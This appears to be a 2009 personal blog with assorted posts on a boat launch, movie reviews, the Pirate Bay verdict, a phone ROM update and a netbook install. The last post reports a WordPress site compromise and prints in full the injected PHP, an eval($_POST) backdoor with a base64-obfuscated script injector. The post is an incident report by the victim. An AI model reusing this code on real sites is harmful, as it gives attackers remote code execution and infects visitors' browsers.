Another 15 minutes

Today it was time to launch the boat into the water again. It has been sitting on the trailer all winter with little preparation so I was abit worried about the motor being broken. We tested the motor abit on land like a week ago and all seemed fine, but still… To my surprise the launch went extremely well and smooth, the motor fired pretty much right up, and the stereo was working! The only thing now is still to fix our wiring problem with the fuel gauge and also to clean the boats interior which was pretty much soaked with moist, and also we will polish the upper half of the boat to get it abit more white and shiny. It was a small trip from the launch ramp to the boatyard, but it was nice to hear the motor purr like a kitten. This summer could be pretty good then after all, yarrr!

Saw “The Spirit” today. I didn’t have much expectations, but atleast most super-hero movies are pretty good. The movie is about a man who is immortal (pretty much anyway) fighting his nemesis, The Octopus, who has the same abilities, but his goal is to gain even more power and become a god. It’s filmed in a very artistic and cartoonish way, much like “V for Vendetta” and “Max Payne”.

Rating:  

A few minutes ago the verdict of the trial against The Pirate Bay was announced by the court. The outcome in this instance is that all four involved are convicted to one year in prison and around 3 million euros in fines, which is a record in Sweden. This is somewhat surprising to me, and I will have to read the courts descision in more detail later to see how they have come to this conclusion. My guess is that the fact that they have made money of the site from advertisements did not work in their favor. But then again, the descision of this court is not the end of this story by a long shot. It will be overruled atleast will probably be atleast two more trials, and its only the ruling of the supreme court that will stand, a process that will take about 5 years.

On April 7th HTC released a new ROM version for the HTC Touch HD for Europe (English (Pan Europe and UK), Italian, Dutch, French, Finnish, Portuguese, Danish, Norwegian and Swedish). The fixes are:

1. Updated the Connection Setup Database.
2. Improved emergency call connections while using Airplane Mode.
3. The GPS position updating speed has been enhanced.
4. A Title bar display flicker in TouchFLO 3D has been corrected.
5. Fixed multiple browsing issues.

I will try to backup all my data and then upgrade to this new 1.56.413.0 version, from the current 1.14.413.0 version and update this post with the results. I hope some bugs are fixed in the mp3-player also.

Update: I have now installed the update. The update itself with without problems, but I encountered several problems with this new ROM.

1. Memory card kept getting disconnected after scanning for music, and couldn’t be mounted again until a reboot. Memory card was not available and not found.
   
2. Phone hanged during media synchronization, had to remove the battery, I hope it was a one time deal.
3. WIFI was not available in the communication manager, worked after a hard reset.
4. Phone was very slow after Windows Update attempt, had to reboot.

I did a hard reset of the phone, clearing the memory and doing the first setup once again. I also deleted all my music from the memory card (deleted the Music folder) and transferred it again with Windows Media Player. For now it seems to be working, the memory card is still there.

The contacts synced with no problem, along with the contact images, but you have to re-create the favorite-list manually.

It’s a shame HTC have these difficulties with ROM updates and bugs, I never experienced this with Nokia phones. I hope this is working like it should now, and that the most annoying bugs of the previous version being fixed along with the improvements they listed. But so far I am not impressed, it took me several hours to get it working somewhat satisfactory.

Update #2: I’m glad to see that the annoying bug with the TouchFLO 3D music player not being able to scroll through large playlists is now fixed. And also there were no problems for me to sync my music with Windows Media Player, I didn’t even have to reboot for the playlist to update and all songs worked, at last!

Saw “Slumdog millionaire” today, a movie we’ve heard alot about and it has won alot of Oscars, one for the best movie. I usually don’t have such high expectations on drama movies, but this one is very well made and the way the story is told and displayed is intreging and very well thought out.

Rating:  

I bought myself an Asus EEE PC 1000HE yesterday, probably the best netbook out right now. Cheap, nice design, light weight, good performance and amazing battery capacity. It came with a 160 Gb HDD with Windows XP Home pre-installed on it, something I ofcourse did not want, I had my eyes on Ubuntu but it proved to be abit of a challenge to get it installed.

The netbook ofcourse comes with no CD/DVD drive or disk drive, so options to install another operating system is to boot on network (PXE/BOOTP) or by USB-memory of some kind, but both are abit difficult to get it working. Also, even if you get it booting you will find that the Ubuntu installer does not find any disk to install to. There is a good page with installation guides of different methods, but none of them really worked for me since I couldn’t boot on my USB-disk and the network installation image did not recognize the network interface. Too bad because I like network installations. Here’s how I did it…

continue reading…

Yesterday my blog was hacked (most likely), some strange code was written to index.php, wp-settings.php and wp-config.php as well as some files in folder wp-includes. I Googled the line of code and it seems like many WordPress blogs running version 2.7.1 has been hacked in the last few days.

The code that was written on line 1 of the files:

if(!function_exists(‘tmp_lkojfghx’)) {if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']); if(!defined(‘TMP_XHGFJOKL’))define(‘TMP_XHGFJOKL’,base64_decode(‘PHNjcmlwdCBsYW5nd WFnZT1qYXZhc2Nya XB0PjwhLS0gCmRvY3VtZW50LndyaXRlKH VuZXNjYXBlKCclM0N5aHNkQzNjeWhyMkd pcHQlMjBzcmN5aCUzRCUyRlRNJTJGOVhwd jQlMkUyNDdkQzMlMkVUTTIlMkVYcHYxS2 U5VE01JTJGalJpN3FkQzN1ZEMzZVJpN3J 5ZEMzJTJFanMlM0V5aCUzQyUyRnloc2M3 SzJyaXB0eWglM0UnKS5yZXBsYWNlKC9kQz N8WWlmfHlofFJpN3xLZXxUTXwyR3w3SzJ8 WHB2L2csIiIpKTsKIC0tPjwvc2NyaXB0Pg==’));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139))$s=gzinflate(substr($s,10,-8)); if(preg_match_all(‘#<script(.*?)</script>#is’,$s,$a))foreach($a[0] as $v) if(count(explode(“\n”,$v))>5){$e=preg_match(‘#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#’,$v)|| preg_match(‘#[\(\[](\s*\d+,){20,}#’,$v);if((preg_match(‘#\beval\b#’,$v)&&($e||strpos($v,’fromCharCode’))) || ($e&&strpos($v,’document.write’)))$s=str_replace($v,”,$s); }$s1=preg_replace(‘#<script language=javascript> <!– \ndocument\.write\(unescape\(.+?\n –></script>#’,”,$s);if(stristr($s,’<body’))$s=preg_replace(‘#(\s*<body)#mi’,TMP_XHGFJOKL.’\1′,$s1);elseif(($s1!=$s)||stristr($s,’</body’) || stristr($s,’</title>’))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl']) call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d); foreach(@ob_get_status(1) as $v)if(($a=$v['name'])==’tmp_lkojfghx’) return;else $s[]=array($a==’default output handler’?false:$a); for($i=count($s)-1;$i>=0;$i–){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(‘tmp_lkojfghx’); for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}} if(($a=@set_error_handler(‘tmp_lkojfghx2′))!=’tmp_lkojfghx2′)$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2();

I hope they come up with a patch soon, because I think this is a WordPress vulnerability, and nothing to do with any webhotel or PHP hacks, but it’s hard to say for sure at this point. What I did to fix it was to re-upload those 3 files and the whole wp-includes directory all over again, and I got access again. Then I suppose one better change database passwords etc.

Update #1: I also found an index.php file under wp-content/uploads which contained the above code and a comment “Silence is golden”.

Update #2: The file described in update #1 should perhaps be there, with the comment, but there should be no php code in it. I still have no information about how this hack was performed and what it does, but it is likely that the problem is in one of the plugins rather than WordPress itself.

Update #3: Today (2009-04-06) I got the logs from Loopia, my webhotel, and it shows that the hack was performed via FTP and replaced some of the files on my account from an IP-address located in Norway, most likely via some VPN service. There was some other sites of mine that also got some strange javascript inserted into them, and those pages are now also replaced with the original ones. I have notified Loopia about the incident and alerted them to the possibility that the hack might be not only on my account but rather their customer database. The hack seemed to be very automatic anyway, and I have now changed passwords etc.

Update #4: I noticed that another site of mine, on another webhotel, has also been hacked in the exact same way. So it would seem I’ve gotten some spyware on my computer stealing FTP passwords. So, now atleast I know it’s probably all my fault, too much porn perhaps… Computer will be re-installed tomorrow and all passwords changed.

I post updates when I know something more about what happened and why.